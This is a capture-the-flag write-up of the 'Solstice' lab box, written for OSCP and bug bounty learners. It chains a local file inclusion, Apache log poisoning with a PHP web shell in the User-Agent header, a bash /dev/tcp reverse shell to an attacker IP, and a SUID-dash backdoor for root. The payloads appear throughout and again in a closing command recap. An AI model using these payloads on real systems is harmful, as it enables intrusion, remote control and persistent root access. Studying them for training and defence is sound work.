0x00 Introduction
Solstice is a throwback in the best way. No flashy exploits, no obscure CVEs. Its just a clean chain of old-school tactics.
This box drills a lesson that matters for both OSCP prep and bug bounty: fundamentals don’t age. If you treat LFI as “just a file read,” you’ll stop too early. Solstice shows how to stretch it into a full compromise.
Sidebar: LFI is More Than File Reads
Most new hunters see LFI as “dump /etc/passwd, call it a day.” That mindset leaves exploits on the table. LFI can lead to:
Reconnaissance: Harvesting usernames from
/etc/passwd
or app configs.Source code review: Pulling
.php
files for hidden logic, database creds, or API keys.Execution: If you can include something you can write to (logs, sessions, uploads), LFI flips from read → RCE.
In bounty hunting, LFI without code execution might feel “low impact.” But paired with the right writable vector, it can be one of the fastest routes to shell.
0x01 Initial Enumeration
Started with a full-range scan. When you don’t know what you’re looking at, go wide:
nmap -p- -sV --open 192.168.245.72
Results came back noisy, but that’s where the fun starts:
21/tcp open ftp pyftpdlib
2121/tcp open ftp FreeFloat
62524/tcp open ftp pyftpdlib
22/tcp open ssh OpenSSH
25/tcp open smtp Exim
80/tcp open http Apache 2.4.38
3128/tcp open http-proxy Squid
8593/tcp open http PHP CLI
54787/tcp open http PHP CLI
A messy mix — multiple FTPs, a Squid proxy, Exim SMTP, Apache, and two PHP CLI servers. You don’t see that kind of sprawl in modern prod, but in a CTF it screams misconfig playground.
FTP Recon (Port 2121)
ftp 192.168.245.72 2121
Anonymous login worked, but /pub
was empty. A good reminder: just because you get in doesn’t mean it’s interesting. Logged it and moved on.
Web Recon (Port 80 vs. 8593)
Port 80: default Apache splash with a hint about phpIPAM (IP address management tool). Nothing exploitable yet.
Port 8593: custom PHP interface. Felt fragile.
Probed parameters:
/index.php?book=list
Payload time:
/index.php?book=../../../../../../../../etc/passwd
Boom — clean /etc/passwd
dump. Full LFI confirmed.
Sidebar: Odd Services = Attack Surface Gold
In real-world assessments, “weird” ports are often the ones worth your time:
Alt services (2121 FTP, 8593 PHP CLI): usually test instances or abandoned configs.
Proxies (Squid): can leak internal access or allow pivoting.
High ports: often dev servers or admin dashboards never meant to be public.
CTFs exaggerate this for learning, but the principle holds true. If a service looks out of place, dig into it — odds are that’s your foothold.
0x02 Exploitation: LFI → Log Poisoning → Reverse Shell
With LFI confirmed, I pivoted from file reads to execution. First checked for source disclosure:
/index.php?book=../../../../../../../../var/www/html/index.php
It worked — full PHP source exposure. That’s a strong indicator the include function wasn’t sandboxed.
Next stop: Apache logs. Since web servers write every request to log files, if you can inject PHP into a header, then include the log with LFI, you can execute arbitrary code.
Tested it by pulling in the access log:
/index.php?book=../../../../../../../../var/log/apache2/access.log
Confirmed I could see my own requests. Perfect.
Poisoning the Log
Sent a crafted request with malicious User-Agent:
User-Agent: <?php system($_GET['cmd']); ?>
Then invoked it via LFI:
/index.php?book=../../../../../../../../var/log/apache2/access.log&cmd=id
Result:
uid=33(www-data) gid=33(www-data)
Execution achieved.
Reverse Shell
Once I had command execution, I went for a stable shell. Payload:
bash -c 'bash -i >& /dev/tcp/192.168.45.165/6660 0>&1'
URL-encoded it into the request:
/index.php?book=../../../../../../../../var/log/apache2/access.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.165%2F6660%200%3E%261%27
Listener waiting:
nc -nvlp 6660
Shell landed as www-data. First move was to stabilize it:
python -c 'import pty; pty.spawn("/bin/bash")'
From here, the box was wide open for local recon.
Sidebar: Log Poisoning in Practice
What it is: Injecting executable code into a log file (access/error log), then using LFI to include and run it.
Why it works:
Web servers log everything — including HTTP headers you fully control.
LFI doesn’t validate file contents; if it includes your payload, the interpreter executes it.
Unlike uploads, you don’t need write permissions to the filesystem — you’re hijacking the server’s logging.
Takeaway: Log poisoning is old, but still lethal. If you hit an LFI, always check if logs are accessible. It’s often the cleanest path to RCE.
0x03 Post-Exploitation: Internal Recon
With a foothold as www-data, the next step was to map the local environment. Always check what’s running internally — it’s where the real misconfigs hide.
Checking Services
netstat -tunlp
Output showed something odd:
127.0.0.1:57 php -S 127.0.0.1:57 -t /var/tmp/sv/
A PHP dev server bound to localhost, serving from /var/tmp/sv/
. That’s not normal — and definitely worth a look.
Investigating the Webroot
Permissions on /var/tmp/sv/
:
drwxrwxrwx 2 root root 4096 ...
Owner: root
World-writable
Contained:
index.php
That’s game on. A root-owned, world-writable webroot tied to a running PHP service means we can control what executes under root context.
At this point, privilege escalation was basically handed to us — it was just about crafting the right payload.
Sidebar: Local Enumeration = Hidden Treasure
It’s tempting to stop after landing a web shell, but skipping local enumeration leaves wins on the table.
Hidden services: Internal apps often bind to 127.0.0.1 and never show up on Nmap scans. Only
netstat
,ss
, or tools likepspy
will reveal them.Weird webroots: Devs sometimes spin up local servers in
/tmp
or/var/tmp
for testing. If they’re root-owned but world-writable, that’s a privilege escalation waiting to happen.Process monitoring: Tools like
pspy
catch cron jobs, scripts, or custom daemons running with root. These often hand you escalation paths if you’re patient.
Takeaway: Enumeration doesn’t stop at the perimeter. Once inside, map local services — they often lead straight to privilege escalation.
0x04 Privilege Escalation: Writable Webroot + SUID
With /var/tmp/sv/
world-writable and tied to a root-owned PHP service, escalation was straightforward: overwrite the webroot with a payload that drops a SUID shell.
Injected a malicious index.php
:
<?php
system("cp /bin/dash /var/tmp/dash; chmod 4755 /var/tmp/dash;");
?>
Triggered it by curling the local dev server:
curl http://127.0.0.1:57/index.php
Now a SUID shell existed at /var/tmp/dash
. Executed it with -p
to preserve privileges:
/var/tmp/dash -p
Root confirmed.
whoami
root
cat /home/miguel/proof.txt
cat /root/root.txt
Game over.
Sidebar: Writable Webroots + SUID = Instant Root
This escalation works because of two misconfigs chained together:
Root-owned PHP server → Code executes as root.
World-writable webroot → Anyone can modify the files served.
By writing a payload that drops a SUID binary, you create a permanent backdoor. Even if the webserver dies, the SUID shell persists.
Why this matters in real-world testing:
Writable webroots are rare, but when found, they’re catastrophic.
Combine with interpreters like PHP, and you don’t just get a shell — you get root-level persistence.
It’s an example of why developers should never run test services as root.
Hunter takeaway: Always check permissions on webroots and temp directories. A single drwxrwxrwx root:root
should make alarms go off.
0x05 Debrief + Command Recap
Solstice is a masterclass in chaining old techniques into a full compromise:
LFI uncovered system files and source.
Log poisoning turned reads into RCE.
Reverse shell gave stable foothold.
Local recon revealed hidden PHP service.
Writable webroot + SUID abuse escalated to root.
Every step was predictable, teachable, and still relevant today.
Command Recap
# Recon
nmap -p- -sV --open 192.168.245.72
ftp 192.168.245.72 2121
# Exploitation (Log Poisoning)
curl -A "<?php system(\$_GET['cmd']); ?>" http://$IP/index.php?book=...access.log
curl "http://$IP/index.php?book=...access.log&cmd=id"
nc -nvlp 6660
# Reverse shell
bash -c 'bash -i >& /dev/tcp/192.168.45.165/6660 0>&1'
python -c 'import pty; pty.spawn("/bin/bash")'
# Post-Ex
netstat -tunlp
ps aux | grep php
# Priv-Esc
echo "<?php system('cp /bin/dash /var/tmp/dash; chmod 4755 /var/tmp/dash;'); ?>" > /var/tmp/sv/index.php
curl http://127.0.0.1:57/index.php
/var/tmp/dash -p
# Flags
cat /home/miguel/proof.txt
cat /root/root.txt